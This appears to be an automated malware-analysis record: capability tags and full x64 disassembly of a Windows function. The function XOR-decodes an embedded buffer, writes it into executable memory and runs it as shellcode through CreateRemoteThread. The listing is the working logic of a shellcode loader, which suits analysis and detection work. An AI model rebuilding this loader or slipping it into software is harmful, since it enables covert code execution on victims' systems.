Function at 0x14000155d
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
call dbg.__main
mov dword [rbp - 4], 0
cmp dword [rbp - 4], 0x37c
jg 0x1400015a4
mov eax, dword [rbp - 4]
cdqe
lea rdx, [0x1400b9020]
movzx eax, byte [rax + rdx]
xor eax, 0xffffff96
mov ecx, eax
mov eax, dword [rbp - 4]
cdqe
lea rdx, [0x1400ea040]
mov byte [rax + rdx], cl
add dword [rbp - 4], 1
jmp 0x140001571
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x37e
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x14000161a
lea rdx, str.VirtualAllocEx_failed.
mov rcx, qword [0x1400c2320]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov eax, 0xffffffff
jmp 0x14000178a
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
lea rcx, [rbp - 0x28]
mov qword [rsp + 0x20], rcx
mov r9d, 0x37e
lea r8, [0x1400ea040]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
je 0x140001654
mov rax, qword [rbp - 0x28]
cmp rax, 0x37e
je 0x14000165b
mov eax, 1
jmp 0x140001660
mov eax, 0
test al, al
je 0x1400016b0
lea rdx, str.WriteProcessMemory_failed.
mov rcx, qword [0x1400c2320]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov eax, 0xffffffff
jmp 0x14000178a
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rdx, qword [rbp - 0x18]
mov qword [rsp + 0x20], rdx
lea r9, [sym.ExecuteShellcode_void_]
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x140001740
lea rdx, str.CreateRemoteThread_failed.
mov rcx, qword [0x1400c2320]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov eax, 0xffffffff
jmp 0x14000178a
mov rax, qword [rbp - 0x20]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov eax, 0
add rsp, 0x70
pop rbp
ret